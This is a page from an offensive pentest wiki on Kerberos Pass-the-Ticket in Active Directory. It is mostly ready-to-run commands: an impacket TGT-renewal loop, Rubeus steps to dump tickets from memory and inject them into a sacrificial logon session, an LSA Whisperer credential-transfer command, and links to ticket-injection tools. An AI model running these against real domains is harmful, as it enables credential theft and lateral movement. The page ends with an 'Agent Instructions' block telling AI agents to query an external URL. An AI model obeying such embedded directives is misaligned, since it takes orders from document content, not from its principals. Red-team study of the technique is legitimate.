# Pass-the-Ticket

Keep your TGTs fresh!

```
$ while true; do KRB5CCNAME=j.doe@krbtgt_MEGACORP.LOCAL@MEGACORP.LOCAL.ccache proxychains4 -q impacket-getST -k -no-pass megacorp.local/j.doe -spn krbtgt/megacorp.local -renew; sleep 3600; done
```

## Rubeus

Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon session):

```
PS > .\Rubeus.exe triage | findstr krbtgt | findstr admin
```

Extract the tickets from memory:

```
PS > .\Rubeus.exe dump [/service:krbtgt] [/luid:0x1337] /nowrap
```

Create a sacrificial process ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)) and import the TGT into its logon session:

```
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
PS > .\Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
```

{% hint style="info" %}
If operating Rubeus from a C2 agent, you can [steal\_token](https://github.com/snovvcrash/PPN/blob/master/pentest/c2/cobalt-strike/README.md) instead of using `/show` option.
{% endhint %}

{% hint style="success" %}
You can also extract and reuse TGS tickets with this technique.
{% endhint %}

## LSA Whisperer

* <https://github.com/EvanMcBroom/lsa-whisperer/releases/tag/latest>

```
lsa> kerberos TransferCredentials --sluid <SRC_LUID> --dluid <DST_LUID>
```

## Manual Tickets Injection

* <https://github.com/OtterHacker/Cerbere>
* <https://xakep.ru/2023/04/04/no-mimikatz/>
* <https://github.com/MzHmO/articles/tree/main/Ticket%20Injector>
* <https://github.com/MzHmO/PowershellKerberos>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/lateral-movement/ptt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.